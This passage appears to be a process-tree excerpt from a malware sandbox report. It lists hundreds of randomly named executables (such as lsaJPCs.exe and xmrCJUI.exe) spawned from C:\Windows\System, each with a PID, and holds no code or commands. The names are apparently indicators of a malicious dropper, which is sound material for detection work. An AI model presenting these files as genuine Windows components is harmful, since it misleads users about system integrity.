  C:\Windows\System\YSuwzyV.exe
  2⤵
  PID:8196
- C:\Windows\System\lsaJPCs.exe
  C:\Windows\System\lsaJPCs.exe
  2⤵
  PID:7960
- C:\Windows\System\aqrhJmy.exe
  C:\Windows\System\aqrhJmy.exe
  2⤵
  PID:8016
- C:\Windows\System\TKrTFMr.exe
  C:\Windows\System\TKrTFMr.exe
  2⤵
  PID:7808
- C:\Windows\System\RPDzBpH.exe
  C:\Windows\System\RPDzBpH.exe
  2⤵
  PID:7752
- C:\Windows\System\HpAVUVk.exe
  C:\Windows\System\HpAVUVk.exe
  2⤵
  PID:8056
- C:\Windows\System\Tmfasgj.exe
  C:\Windows\System\Tmfasgj.exe
  2⤵
  PID:8076
- C:\Windows\System\BGMfxMn.exe
  C:\Windows\System\BGMfxMn.exe
  2⤵
  PID:7888
- C:\Windows\System\TwpHTQS.exe
  C:\Windows\System\TwpHTQS.exe
  2⤵
  PID:7832
- C:\Windows\System\dXCtSmI.exe
  C:\Windows\System\dXCtSmI.exe
  2⤵
  PID:7776
- C:\Windows\System\NVqXmfG.exe
  C:\Windows\System\NVqXmfG.exe
  2⤵
  PID:7732
- C:\Windows\System\HDUDjhB.exe
  C:\Windows\System\HDUDjhB.exe
  2⤵
  PID:7700
- C:\Windows\System\anLdMuZ.exe
  C:\Windows\System\anLdMuZ.exe
  2⤵
  PID:9388
- C:\Windows\System\tVrqPCH.exe
  C:\Windows\System\tVrqPCH.exe
  2⤵
  PID:9612
- C:\Windows\System\hEJKvWx.exe
  C:\Windows\System\hEJKvWx.exe
  2⤵
  PID:9588
- C:\Windows\System\JmQCnsf.exe
  C:\Windows\System\JmQCnsf.exe
  2⤵
  PID:9568
- C:\Windows\System\pFtUTNd.exe
  C:\Windows\System\pFtUTNd.exe
  2⤵
  PID:9552
- C:\Windows\System\aKCGlon.exe
  C:\Windows\System\aKCGlon.exe
  2⤵
  PID:9516
- C:\Windows\System\aLytfpQ.exe
  C:\Windows\System\aLytfpQ.exe
  2⤵
  PID:9496
- C:\Windows\System\RRPzwZo.exe
  C:\Windows\System\RRPzwZo.exe
  2⤵
  PID:9476
- C:\Windows\System\cBMftRx.exe
  C:\Windows\System\cBMftRx.exe
  2⤵
  PID:9456
- C:\Windows\System\iBjdwmd.exe
  C:\Windows\System\iBjdwmd.exe
  2⤵
  PID:9436
- C:\Windows\System\pRIdaGr.exe
  C:\Windows\System\pRIdaGr.exe
  2⤵
  PID:9368
- C:\Windows\System\YUitwvc.exe
  C:\Windows\System\YUitwvc.exe
  2⤵
  PID:9348
- C:\Windows\System\RXVGeXY.exe
  C:\Windows\System\RXVGeXY.exe
  2⤵
  PID:9328
- C:\Windows\System\ApmRgfM.exe
  C:\Windows\System\ApmRgfM.exe
  2⤵
  PID:9312
- C:\Windows\System\ammdVFG.exe
  C:\Windows\System\ammdVFG.exe
  2⤵
  PID:9292
- C:\Windows\System\AxaWIPT.exe
  C:\Windows\System\AxaWIPT.exe
  2⤵
  PID:9272
- C:\Windows\System\IesTFhy.exe
  C:\Windows\System\IesTFhy.exe
  2⤵
  PID:9252
- C:\Windows\System\rcyjUUe.exe
  C:\Windows\System\rcyjUUe.exe
  2⤵
  PID:9228
- C:\Windows\System\VxLIziQ.exe
  C:\Windows\System\VxLIziQ.exe
  2⤵
  PID:8868
- C:\Windows\System\AOfIUFK.exe
  C:\Windows\System\AOfIUFK.exe
  2⤵
  PID:8816
- C:\Windows\System\CNJFQET.exe
  C:\Windows\System\CNJFQET.exe
  2⤵
  PID:8780
- C:\Windows\System\NkroAAg.exe
  C:\Windows\System\NkroAAg.exe
  2⤵
  PID:8648
- C:\Windows\System\jiPudPk.exe
  C:\Windows\System\jiPudPk.exe
  2⤵
  PID:9676
- C:\Windows\System\WrwXhQk.exe
  C:\Windows\System\WrwXhQk.exe
  2⤵
  PID:10052
- C:\Windows\System\VNPAeYZ.exe
  C:\Windows\System\VNPAeYZ.exe
  2⤵
  PID:9584
- C:\Windows\System\AYZgzZb.exe
  C:\Windows\System\AYZgzZb.exe
  2⤵
  PID:9820
- C:\Windows\System\qlZFRdL.exe
  C:\Windows\System\qlZFRdL.exe
  2⤵
  PID:9492
- C:\Windows\System\ShuaycA.exe
  C:\Windows\System\ShuaycA.exe
  2⤵
  PID:10100
- C:\Windows\System\pcqpxna.exe
  C:\Windows\System\pcqpxna.exe
  2⤵
  PID:10828
- C:\Windows\System\rZNwsed.exe
  C:\Windows\System\rZNwsed.exe
  2⤵
  PID:10848
- C:\Windows\System\oTASJms.exe
  C:\Windows\System\oTASJms.exe
  2⤵
  PID:10868
- C:\Windows\System\JQuQXXJ.exe
  C:\Windows\System\JQuQXXJ.exe
  2⤵
  PID:11376
- C:\Windows\System\xmrCJUI.exe
  C:\Windows\System\xmrCJUI.exe
  2⤵
  PID:11356
- C:\Windows\System\fTtVotk.exe
  C:\Windows\System\fTtVotk.exe
  2⤵
  PID:11340
- C:\Windows\System\HLdOVhX.exe
  C:\Windows\System\HLdOVhX.exe
  2⤵
  PID:11316
- C:\Windows\System\CfsHZnS.exe
  C:\Windows\System\CfsHZnS.exe
  2⤵
  PID:11292
- C:\Windows\System\URWqeRp.exe
  C:\Windows\System\URWqeRp.exe
  2⤵
  PID:11268
- C:\Windows\System\aLYWODm.exe
  C:\Windows\System\aLYWODm.exe
  2⤵
  PID:10692
- C:\Windows\System\cKYsXva.exe
  C:\Windows\System\cKYsXva.exe
  2⤵
  PID:10136
- C:\Windows\System\dfCUIJx.exe
  C:\Windows\System\dfCUIJx.exe
  2⤵
  PID:10556
- C:\Windows\System\POJrkgz.exe
  C:\Windows\System\POJrkgz.exe
  2⤵
  PID:10456
- C:\Windows\System\FrvtCvM.exe
  C:\Windows\System\FrvtCvM.exe
  2⤵
  PID:10396
- C:\Windows\System\WuEGdUl.exe
  C:\Windows\System\WuEGdUl.exe
  2⤵
  PID:10320
- C:\Windows\System\RzEQzSd.exe
  C:\Windows\System\RzEQzSd.exe
  2⤵
  PID:3248
- C:\Windows\System\FESkcMf.exe
  C:\Windows\System\FESkcMf.exe
  2⤵
  PID:9196
- C:\Windows\System\cPLWyit.exe
  C:\Windows\System\cPLWyit.exe
  2⤵
  PID:10224
- C:\Windows\System\ibXwxZt.exe
  C:\Windows\System\ibXwxZt.exe
  2⤵
  PID:9512
- C:\Windows\System\aElzRZm.exe
  C:\Windows\System\aElzRZm.exe
  2⤵
  PID:9488
- C:\Windows\System\qPOCBvY.exe
  C:\Windows\System\qPOCBvY.exe
  2⤵
  PID:8372
- C:\Windows\System\POueksQ.exe
  C:\Windows\System\POueksQ.exe
  2⤵
  PID:9692
- C:\Windows\System\PKnqThx.exe
  C:\Windows\System\PKnqThx.exe
  2⤵
  PID:9092
- C:\Windows\System\WeUyJdC.exe
  C:\Windows\System\WeUyJdC.exe
  2⤵
  PID:10008
- C:\Windows\System\cqDruBy.exe
  C:\Windows\System\cqDruBy.exe
  2⤵
  PID:7488
- C:\Windows\System\xDtqfIF.exe
  C:\Windows\System\xDtqfIF.exe
  2⤵
  PID:8720
- C:\Windows\System\sdXjpTK.exe
  C:\Windows\System\sdXjpTK.exe
  2⤵
  PID:2836
- C:\Windows\System\adqqlbr.exe
  C:\Windows\System\adqqlbr.exe
  2⤵
  PID:11252
- C:\Windows\System\gtJWlkQ.exe
  C:\Windows\System\gtJWlkQ.exe
  2⤵
  PID:11236
- C:\Windows\System\gfIwFzi.exe
  C:\Windows\System\gfIwFzi.exe
  2⤵
  PID:11220
- C:\Windows\System\dWfNSDH.exe
  C:\Windows\System\dWfNSDH.exe
  2⤵
  PID:11204
- C:\Windows\System\eNuaXjZ.exe
  C:\Windows\System\eNuaXjZ.exe
  2⤵
  PID:11188
- C:\Windows\System\hedQiyy.exe
  C:\Windows\System\hedQiyy.exe
  2⤵
  PID:11172
- C:\Windows\System\NfWxJTc.exe
  C:\Windows\System\NfWxJTc.exe
  2⤵
  PID:11156
- C:\Windows\System\yPewpqY.exe
  C:\Windows\System\yPewpqY.exe
  2⤵
  PID:11888
- C:\Windows\System\zuHUFPE.exe
  C:\Windows\System\zuHUFPE.exe
  2⤵
  PID:11864
- C:\Windows\System\deMZCpx.exe
  C:\Windows\System\deMZCpx.exe
  2⤵
  PID:11140
- C:\Windows\System\srVqphJ.exe
  C:\Windows\System\srVqphJ.exe
  2⤵
  PID:11120
- C:\Windows\System\MgLCFtr.exe
  C:\Windows\System\MgLCFtr.exe
  2⤵
  PID:11100
- C:\Windows\System\RcDjayR.exe
  C:\Windows\System\RcDjayR.exe
  2⤵
  PID:11084
- C:\Windows\System\igmGXYw.exe
  C:\Windows\System\igmGXYw.exe
  2⤵
  PID:11068
- C:\Windows\System\orCNaGp.exe
  C:\Windows\System\orCNaGp.exe
  2⤵
  PID:11044
- C:\Windows\System\JnjvFCJ.exe
  C:\Windows\System\JnjvFCJ.exe
  2⤵
  PID:11024
- C:\Windows\System\cmbIZJr.exe
  C:\Windows\System\cmbIZJr.exe
  2⤵
  PID:11004
- C:\Windows\System\BdFduyV.exe
  C:\Windows\System\BdFduyV.exe
  2⤵
  PID:10988
- C:\Windows\System\yqVNRDy.exe
  C:\Windows\System\yqVNRDy.exe
  2⤵
  PID:10968
- C:\Windows\System\QmErTaj.exe
  C:\Windows\System\QmErTaj.exe
  2⤵
  PID:10948
- C:\Windows\System\fzxXlLm.exe
  C:\Windows\System\fzxXlLm.exe
  2⤵
  PID:10928
- C:\Windows\System\tLhYFTF.exe
  C:\Windows\System\tLhYFTF.exe
  2⤵
  PID:10908
- C:\Windows\System\lZuNPPE.exe
  C:\Windows\System\lZuNPPE.exe
  2⤵
  PID:10888
- C:\Windows\System\oKaOnQI.exe
  C:\Windows\System\oKaOnQI.exe
  2⤵
  PID:10808
- C:\Windows\System\ZATDPyT.exe
  C:\Windows\System\ZATDPyT.exe
  2⤵
  PID:10784
- C:\Windows\System\rMXGzrx.exe
  C:\Windows\System\rMXGzrx.exe
  2⤵
  PID:10768
- C:\Windows\System\jWmrFaC.exe
  C:\Windows\System\jWmrFaC.exe
  2⤵
  PID:10752
- C:\Windows\System\ILNEQYR.exe
  C:\Windows\System\ILNEQYR.exe
  2⤵
  PID:10736
- C:\Windows\System\VTuBFbi.exe
  C:\Windows\System\VTuBFbi.exe
  2⤵
  PID:10712
- C:\Windows\System\CWGLidG.exe
  C:\Windows\System\CWGLidG.exe
  2⤵
  PID:10668
- C:\Windows\System\mmKJgRs.exe
  C:\Windows\System\mmKJgRs.exe
  2⤵
  PID:10652
- C:\Windows\System\mtCdgFh.exe
  C:\Windows\System\mtCdgFh.exe
  2⤵
  PID:10632
- C:\Windows\System\smRdKRj.exe
  C:\Windows\System\smRdKRj.exe
  2⤵
  PID:10616
- C:\Windows\System\WIfguym.exe
  C:\Windows\System\WIfguym.exe
  2⤵
  PID:10600
- C:\Windows\System\HjKhAbK.exe
  C:\Windows\System\HjKhAbK.exe
  2⤵
  PID:10584
- C:\Windows\System\TAEyHXl.exe
  C:\Windows\System\TAEyHXl.exe
  2⤵
  PID:10564
- C:\Windows\System\WAtqAuM.exe
  C:\Windows\System\WAtqAuM.exe
  2⤵
  PID:10544
- C:\Windows\System\URstaJl.exe
  C:\Windows\System\URstaJl.exe
  2⤵
  PID:10528
- C:\Windows\System\unRCfAy.exe
  C:\Windows\System\unRCfAy.exe
  2⤵
  PID:10508
- C:\Windows\System\FMdcipJ.exe
  C:\Windows\System\FMdcipJ.exe
  2⤵
  PID:10484
- C:\Windows\System\FsVtAoA.exe
  C:\Windows\System\FsVtAoA.exe
  2⤵
  PID:10464
- C:\Windows\System\OrfACpj.exe
  C:\Windows\System\OrfACpj.exe
  2⤵
  PID:10440
- C:\Windows\System\fIGhqDD.exe
  C:\Windows\System\fIGhqDD.exe
  2⤵
  PID:10424
- C:\Windows\System\gdoqPwH.exe
  C:\Windows\System\gdoqPwH.exe
  2⤵
  PID:10404
- C:\Windows\System\tCDAtty.exe
  C:\Windows\System\tCDAtty.exe
  2⤵
  PID:10388
- C:\Windows\System\CWhMMty.exe
  C:\Windows\System\CWhMMty.exe
  2⤵
  PID:10368
- C:\Windows\System\JTISeEj.exe
  C:\Windows\System\JTISeEj.exe
  2⤵
  PID:10348
- C:\Windows\System\xipVDca.exe
  C:\Windows\System\xipVDca.exe
  2⤵
  PID:10328
- C:\Windows\System\uaYBBJs.exe
  C:\Windows\System\uaYBBJs.exe
  2⤵
  PID:10304
- C:\Windows\System\GemNunN.exe
  C:\Windows\System\GemNunN.exe
  2⤵
  PID:10288
- C:\Windows\System\nwzLuao.exe
  C:\Windows\System\nwzLuao.exe
  2⤵
  PID:10260
- C:\Windows\System\tUvUWyH.exe
  C:\Windows\System\tUvUWyH.exe
  2⤵
  PID:8688
- C:\Windows\System\yniDerI.exe
  C:\Windows\System\yniDerI.exe
  2⤵
  PID:9164
- C:\Windows\System\EuAWGTf.exe
  C:\Windows\System\EuAWGTf.exe
  2⤵
  PID:8932
- C:\Windows\System\hJPWsxH.exe
  C:\Windows\System\hJPWsxH.exe
  2⤵
  PID:10172
- C:\Windows\System\wlxuQIA.exe
  C:\Windows\System\wlxuQIA.exe
  2⤵
  PID:10124
- C:\Windows\System\texIfHA.exe
  C:\Windows\System\texIfHA.exe
  2⤵
  PID:9464
- C:\Windows\System\HooZTLp.exe
  C:\Windows\System\HooZTLp.exe
  2⤵
  PID:9976
- C:\Windows\System\yBxVXJU.exe
  C:\Windows\System\yBxVXJU.exe
  2⤵
  PID:3384
- C:\Windows\System\TWPSEPR.exe
  C:\Windows\System\TWPSEPR.exe
  2⤵
  PID:9740
- C:\Windows\System\mdQwCdv.exe
  C:\Windows\System\mdQwCdv.exe
  2⤵
  PID:7812
- C:\Windows\System\mHLMlUI.exe
  C:\Windows\System\mHLMlUI.exe
  2⤵
  PID:7404
- C:\Windows\System\TVgBAqC.exe
  C:\Windows\System\TVgBAqC.exe
  2⤵
  PID:9604
- C:\Windows\System\zLIyKoy.exe
  C:\Windows\System\zLIyKoy.exe
  2⤵
  PID:9560
- C:\Windows\System\JsbEIKV.exe
  C:\Windows\System\JsbEIKV.exe
  2⤵
  PID:9788
- C:\Windows\System\REbmAco.exe
  C:\Windows\System\REbmAco.exe
  2⤵
  PID:9360
- C:\Windows\System\GyjHvVu.exe
  C:\Windows\System\GyjHvVu.exe
  2⤵
  PID:9720
- C:\Windows\System\eVMJgek.exe
  C:\Windows\System\eVMJgek.exe
  2⤵
  PID:9264
- C:\Windows\System\mGelhxd.exe
  C:\Windows\System\mGelhxd.exe
  2⤵
  PID:8892
- C:\Windows\System\bjjpHRX.exe
  C:\Windows\System\bjjpHRX.exe
  2⤵
  PID:11096
- C:\Windows\System\WumMIRA.exe
  C:\Windows\System\WumMIRA.exe
  2⤵
  PID:8452
- C:\Windows\System\tgbFMST.exe
  C:\Windows\System\tgbFMST.exe
  2⤵
  PID:9648
- C:\Windows\System\drqTTYv.exe
  C:\Windows\System\drqTTYv.exe
  2⤵
  PID:9508
- C:\Windows\System\WINmAwK.exe
  C:\Windows\System\WINmAwK.exe
  2⤵
  PID:12272
- C:\Windows\System\rSgoIUp.exe
  C:\Windows\System\rSgoIUp.exe
  2⤵
  PID:11080
- C:\Windows\System\rQpkqvv.exe
  C:\Windows\System\rQpkqvv.exe
  2⤵
  PID:1208
- C:\Windows\System\bXbyfiH.exe
  C:\Windows\System\bXbyfiH.exe
  2⤵
  PID:10400
- C:\Windows\System\EjJbHvc.exe
  C:\Windows\System\EjJbHvc.exe
  2⤵
  PID:9668
- C:\Windows\System\QxfoFeU.exe
  C:\Windows\System\QxfoFeU.exe
  2⤵
  PID:9876
- C:\Windows\System\AriAWxx.exe
  C:\Windows\System\AriAWxx.exe
  2⤵
  PID:12028
- C:\Windows\System\zKlPykN.exe
  C:\Windows\System\zKlPykN.exe
  2⤵
  PID:1280
- C:\Windows\System\zTRXuZw.exe
  C:\Windows\System\zTRXuZw.exe
  2⤵
  PID:11936
- C:\Windows\System\hRsyBtf.exe
  C:\Windows\System\hRsyBtf.exe
  2⤵
  PID:11900
- C:\Windows\System\RKmCyVc.exe
  C:\Windows\System\RKmCyVc.exe
  2⤵
  PID:11556
- C:\Windows\System\hsVgJnK.exe
  C:\Windows\System\hsVgJnK.exe
  2⤵
  PID:8440
- C:\Windows\System\tzUiQQu.exe
  C:\Windows\System\tzUiQQu.exe
  2⤵
  PID:7876
- C:\Windows\System\OjJkKGs.exe
  C:\Windows\System\OjJkKGs.exe
  2⤵
  PID:9192
- C:\Windows\System\srwRqAy.exe
  C:\Windows\System\srwRqAy.exe
  2⤵
  PID:10612
- C:\Windows\System\egxnald.exe
  C:\Windows\System\egxnald.exe
  2⤵
  PID:10960
- C:\Windows\System\tzNtWyQ.exe
  C:\Windows\System\tzNtWyQ.exe
  2⤵
  PID:10800
- C:\Windows\System\leYNtsk.exe
  C:\Windows\System\leYNtsk.exe
  2⤵
  PID:10676
- C:\Windows\System\jxIIqND.exe
  C:\Windows\System\jxIIqND.exe
  2⤵
  PID:11700
- C:\Windows\System\WMvJRWc.exe
  C:\Windows\System\WMvJRWc.exe
  2⤵
  PID:10380
- C:\Windows\System\NCSVlRn.exe
  C:\Windows\System\NCSVlRn.exe
  2⤵
  PID:7772
- C:\Windows\System\EosfUxW.exe
  C:\Windows\System\EosfUxW.exe
  2⤵
  PID:9364
- C:\Windows\System\TuiyblX.exe
  C:\Windows\System\TuiyblX.exe
  2⤵
  PID:10416
- C:\Windows\System\LQzYzLZ.exe
  C:\Windows\System\LQzYzLZ.exe
  2⤵
  PID:9448
- C:\Windows\System\wsNqeec.exe
  C:\Windows\System\wsNqeec.exe
  2⤵
  PID:11576
- C:\Windows\System\ZQZLfjK.exe
  C:\Windows\System\ZQZLfjK.exe
  2⤵
  PID:10696
- C:\Windows\System\nrupqRp.exe
  C:\Windows\System\nrupqRp.exe
  2⤵
  PID:9060
- C:\Windows\System\NBmAGmN.exe
  C:\Windows\System\NBmAGmN.exe
  2⤵
  PID:8540
- C:\Windows\System\QAeDRZL.exe
  C:\Windows\System\QAeDRZL.exe
  2⤵
  PID:9220
- C:\Windows\System\qOQHVXt.exe
  C:\Windows\System\qOQHVXt.exe
  2⤵
  PID:8760
- C:\Windows\System\igQGBJE.exe
  C:\Windows\System\igQGBJE.exe
  2⤵
  PID:8500
- C:\Windows\System\aSePZeE.exe
  C:\Windows\System\aSePZeE.exe
  2⤵
  PID:7192
- C:\Windows\System\EhbDiHy.exe
  C:\Windows\System\EhbDiHy.exe
  2⤵
  PID:8708
- C:\Windows\System\goVXegj.exe
  C:\Windows\System\goVXegj.exe
  2⤵
  PID:9212
- C:\Windows\System\OuqyfLG.exe
  C:\Windows\System\OuqyfLG.exe
  2⤵
  PID:9016
- C:\Windows\System\BUgswvP.exe
  C:\Windows\System\BUgswvP.exe
  2⤵
  PID:9120
- C:\Windows\System\uInOaVB.exe
  C:\Windows\System\uInOaVB.exe
  2⤵
  PID:8988
- C:\Windows\System\QSLEEpD.exe
  C:\Windows\System\QSLEEpD.exe
  2⤵
  PID:8952
- C:\Windows\System\Zjgrqyw.exe
  C:\Windows\System\Zjgrqyw.exe
  2⤵
  PID:8288
- C:\Windows\System\eSoOhuC.exe
  C:\Windows\System\eSoOhuC.exe
  2⤵
  PID:10208
- C:\Windows\System\ILhGosi.exe
  C:\Windows\System\ILhGosi.exe
  2⤵
  PID:10188
- C:\Windows\System\uTdgBZE.exe
  C:\Windows\System\uTdgBZE.exe
  2⤵
  PID:10164
- C:\Windows\System\QItdCUy.exe
  C:\Windows\System\QItdCUy.exe
  2⤵
  PID:8508
- C:\Windows\System\Gvjaban.exe
  C:\Windows\System\Gvjaban.exe
  2⤵
  PID:8704
- C:\Windows\System\FSvTtma.exe
  C:\Windows\System\FSvTtma.exe
  2⤵
  PID:3216
- C:\Windows\System\MCWUmdH.exe
  C:\Windows\System\MCWUmdH.exe
  2⤵
  PID:7688
- C:\Windows\System\syaDJPW.exe
  C:\Windows\System\syaDJPW.exe
  2⤵
  PID:7508
- C:\Windows\System\aTiGIcy.exe
  C:\Windows\System\aTiGIcy.exe
  2⤵
  PID:8000
- C:\Windows\System\BzYrqVA.exe
  C:\Windows\System\BzYrqVA.exe
  2⤵
  PID:8232
- C:\Windows\System\jVtmUyE.exe
  C:\Windows\System\jVtmUyE.exe
  2⤵
  PID:8436
- C:\Windows\System\IPuQjqe.exe
  C:\Windows\System\IPuQjqe.exe
  2⤵
  PID:8416
- C:\Windows\System\pgJeUBr.exe
  C:\Windows\System\pgJeUBr.exe
  2⤵
  PID:7364
- C:\Windows\System\TMFrXrn.exe
  C:\Windows\System\TMFrXrn.exe
  2⤵
  PID:8252
- C:\Windows\System\GKstjTI.exe
  C:\Windows\System\GKstjTI.exe
  2⤵
  PID:7896
- C:\Windows\System\KpZqjYR.exe
  C:\Windows\System\KpZqjYR.exe
  2⤵
  PID:8032
- C:\Windows\System\GklyYRB.exe
  C:\Windows\System\GklyYRB.exe
  2⤵
  PID:7348
- C:\Windows\System\ToJTxlG.exe
  C:\Windows\System\ToJTxlG.exe
  2⤵
  PID:9200
- C:\Windows\System\RRCrZud.exe
  C:\Windows\System\RRCrZud.exe
  2⤵
  PID:9172
- C:\Windows\System\lApxmSu.exe
  C:\Windows\System\lApxmSu.exe
  2⤵
  PID:9148
- C:\Windows\System\xFgHedw.exe
  C:\Windows\System\xFgHedw.exe
  2⤵
  PID:9124
- C:\Windows\System\algjuCa.exe
  C:\Windows\System\algjuCa.exe
  2⤵
  PID:9104
- C:\Windows\System\hHcVFJf.exe
  C:\Windows\System\hHcVFJf.exe
  2⤵
  PID:9084
- C:\Windows\System\RPLYfrM.exe
  C:\Windows\System\RPLYfrM.exe
  2⤵
  PID:9064
- C:\Windows\System\afGjwNY.exe
  C:\Windows\System\afGjwNY.exe
  2⤵
  PID:9044
- C:\Windows\System\muWoSCJ.exe
  C:\Windows\System\muWoSCJ.exe
  2⤵
  PID:9024
- C:\Windows\System\WzFxQmY.exe
  C:\Windows\System\WzFxQmY.exe
  2⤵
  PID:12192
- C:\Windows\System\KBvbZFY.exe
  C:\Windows\System\KBvbZFY.exe
  2⤵
  PID:12036
- C:\Windows\System\sZCtqBg.exe
  C:\Windows\System\sZCtqBg.exe
  2⤵
  PID:11148
- C:\Windows\System\lBnYezz.exe
  C:\Windows\System\lBnYezz.exe
  2⤵
  PID:9528
- C:\Windows\System\zEHjIyp.exe
  C:\Windows\System\zEHjIyp.exe
  2⤵
  PID:2908
- C:\Windows\System\vABwZoN.exe
  C:\Windows\System\vABwZoN.exe
  2⤵
  PID:12100
- C:\Windows\System\ZwKDlVW.exe
  C:\Windows\System\ZwKDlVW.exe
  2⤵
  PID:1436
- C:\Windows\System\GCWPGdP.exe
  C:\Windows\System\GCWPGdP.exe
  2⤵
  PID:11904
- C:\Windows\System\LmneeRZ.exe
  C:\Windows\System\LmneeRZ.exe
  2⤵
  PID:12216
- C:\Windows\System\oNBlPoD.exe
  C:\Windows\System\oNBlPoD.exe
  2⤵
  PID:12252
- C:\Windows\System\SMnRtIO.exe
  C:\Windows\System\SMnRtIO.exe
  2⤵
  PID:9608
- C:\Windows\System\gSlXAhd.exe
  C:\Windows\System\gSlXAhd.exe
  2⤵
  PID:9340
- C:\Windows\System\cOeALLE.exe
  C:\Windows\System\cOeALLE.exe
  2⤵
  PID:3588
- C:\Windows\System\BOvhIGN.exe
  C:\Windows\System\BOvhIGN.exe
  2⤵
  PID:11424
- C:\Windows\System\lTszWjz.exe
  C:\Windows\System\lTszWjz.exe
  2⤵
  PID:11228
- C:\Windows\System\djNMKfe.exe
  C:\Windows\System\djNMKfe.exe
  2⤵
  PID:11180
- C:\Windows\System\RUmNDEh.exe
  C:\Windows\System\RUmNDEh.exe
  2⤵
  PID:11184
- C:\Windows\System\MCSKTyB.exe
  C:\Windows\System\MCSKTyB.exe
  2⤵
  PID:10856
- C:\Windows\System\UjJHLpe.exe
  C:\Windows\System\UjJHLpe.exe
  2⤵
  PID:10760
- C:\Windows\System\TZpjxUU.exe
  C:\Windows\System\TZpjxUU.exe
  2⤵
  PID:1996
- C:\Windows\System\fUXAfSQ.exe
  C:\Windows\System\fUXAfSQ.exe
  2⤵
  PID:11216
- C:\Windows\System\vBJaIqz.exe
  C:\Windows\System\vBJaIqz.exe
  2⤵
  PID:3836
- C:\Windows\System\FMhFgQF.exe
  C:\Windows\System\FMhFgQF.exe
  2⤵
  PID:9580
- C:\Windows\System\OOoOMvM.exe
  C:\Windows\System\OOoOMvM.exe
  2⤵
  PID:5032
- C:\Windows\System\CmQoRRM.exe
  C:\Windows\System\CmQoRRM.exe
  2⤵
  PID:11896
- C:\Windows\System\gHdhhzK.exe
  C:\Windows\System\gHdhhzK.exe
  2⤵
  PID:12184
- C:\Windows\System\yZSHclP.exe
  C:\Windows\System\yZSHclP.exe
  2⤵
  PID:10040
- C:\Windows\System\BLTzUuc.exe
  C:\Windows\System\BLTzUuc.exe
  2⤵
  PID:11960
- C:\Windows\System\KvPtMtW.exe
  C:\Windows\System\KvPtMtW.exe
  2⤵
  PID:11612
- C:\Windows\System\TGFsuDm.exe
  C:\Windows\System\TGFsuDm.exe
  2⤵
  PID:4240
- C:\Windows\System\KBvVBxj.exe
  C:\Windows\System\KBvVBxj.exe
  2⤵
  PID:12256
- C:\Windows\System\MqnfJAH.exe
  C:\Windows\System\MqnfJAH.exe
  2⤵
  PID:11136
- C:\Windows\System\zMlNcEw.exe
  C:\Windows\System\zMlNcEw.exe
  2⤵
  PID:12112
- C:\Windows\System\vNocnQV.exe
  C:\Windows\System\vNocnQV.exe
  2⤵
  PID:8324
- C:\Windows\System\DvXtNyW.exe
  C:\Windows\System\DvXtNyW.exe
  2⤵
  PID:10644
- C:\Windows\System\xGvbLfN.exe
  C:\Windows\System\xGvbLfN.exe
  2⤵
  PID:4144
- C:\Windows\System\uVgznTt.exe
  C:\Windows\System\uVgznTt.exe
  2⤵
  PID:10844
- C:\Windows\System\hzkrZgs.exe
  C:\Windows\System\hzkrZgs.exe
  2⤵
  PID:1088
- C:\Windows\System\NJAWJHS.exe
  C:\Windows\System\NJAWJHS.exe
  2⤵
  PID:1532
- C:\Windows\System\MKjxrQl.exe
  C:\Windows\System\MKjxrQl.exe
  2⤵
  PID:2440
- C:\Windows\System\IzAWsEj.exe
  C:\Windows\System\IzAWsEj.exe
  2⤵
  PID:10956
- C:\Windows\System\yJrGSNA.exe
  C:\Windows\System\yJrGSNA.exe
  2⤵
  PID:11972
- C:\Windows\System\GnCBdzZ.exe
  C:\Windows\System\GnCBdzZ.exe
  2⤵
  PID:956
- C:\Windows\System\fTPBWvc.exe
  C:\Windows\System\fTPBWvc.exe
  2⤵
  PID:8628
- C:\Windows\System\GrbfbRH.exe
  C:\Windows\System\GrbfbRH.exe
  2⤵
  PID:2816
- C:\Windows\System\zjMTNiU.exe
  C:\Windows\System\zjMTNiU.exe
  2⤵
  PID:12464
- C:\Windows\System\MrGGizE.exe
  C:\Windows\System\MrGGizE.exe
  2⤵
  PID:13256
- C:\Windows\System\pMkDwtk.exe
  C:\Windows\System\pMkDwtk.exe
  2⤵
  PID:13664
- C:\Windows\System\MtpXimH.exe
  C:\Windows\System\MtpXimH.exe
  2⤵
  PID:13684
- C:\Windows\System\nWYPZNs.exe
  C:\Windows\System\nWYPZNs.exe
  2⤵
  PID:13720
- C:\Windows\System\xQoKmej.exe
  C:\Windows\System\xQoKmej.exe
  2⤵
  PID:13704
- C:\Windows\System\AAByvLJ.exe
  C:\Windows\System\AAByvLJ.exe
  2⤵
  PID:13644
- C:\Windows\System\ROgQYhZ.exe
  C:\Windows\System\ROgQYhZ.exe
  2⤵
  PID:13628
- C:\Windows\System\zRHOqBq.exe
  C:\Windows\System\zRHOqBq.exe
  2⤵
  PID:13608
- C:\Windows\System\DEYKGzr.exe
  C:\Windows\System\DEYKGzr.exe
  2⤵
  PID:13588
- C:\Windows\System\DBlSKWr.exe
  C:\Windows\System\DBlSKWr.exe
  2⤵
  PID:13568
- C:\Windows\System\PUHKvtZ.exe
  C:\Windows\System\PUHKvtZ.exe
  2⤵
  PID:13552
- C:\Windows\System\haLAhjj.exe
  C:\Windows\System\haLAhjj.exe
  2⤵
  PID:13536
- C:\Windows\System\epKIkQN.exe
  C:\Windows\System\epKIkQN.exe
  2⤵
  PID:13516
- C:\Windows\System\noRkcoC.exe
  C:\Windows\System\noRkcoC.exe
  2⤵
  PID:13496
- C:\Windows\System\OAbAaMn.exe
  C:\Windows\System\OAbAaMn.exe
  2⤵
  PID:13476
- C:\Windows\System\qCwplbG.exe
  C:\Windows\System\qCwplbG.exe
  2⤵
  PID:13456
- C:\Windows\System\IysHMXm.exe
  C:\Windows\System\IysHMXm.exe
  2⤵
  PID:13432
- C:\Windows\System\YSMbxQR.exe
  C:\Windows\System\YSMbxQR.exe
  2⤵
  PID:13412
- C:\Windows\System\PhOSjEf.exe
  C:\Windows\System\PhOSjEf.exe
  2⤵
  PID:13396
- C:\Windows\System\DWxGumw.exe
  C:\Windows\System\DWxGumw.exe
  2⤵
  PID:13380
- C:\Windows\System\gqJhLkt.exe
  C:\Windows\System\gqJhLkt.exe
  2⤵
  PID:13356
- C:\Windows\System\eZIddlo.exe
  C:\Windows\System\eZIddlo.exe
  2⤵
  PID:13336
- C:\Windows\System\JAzsoMr.exe
  C:\Windows\System\JAzsoMr.exe
  2⤵
  PID:13320
- C:\Windows\System\ROwWZXt.exe
  C:\Windows\System\ROwWZXt.exe
  2⤵
  PID:12976
- C:\Windows\System\uwvUVrl.exe
  C:\Windows\System\uwvUVrl.exe
  2⤵
  PID:3300
- C:\Windows\System\UibcxuM.exe
  C:\Windows\System\UibcxuM.exe
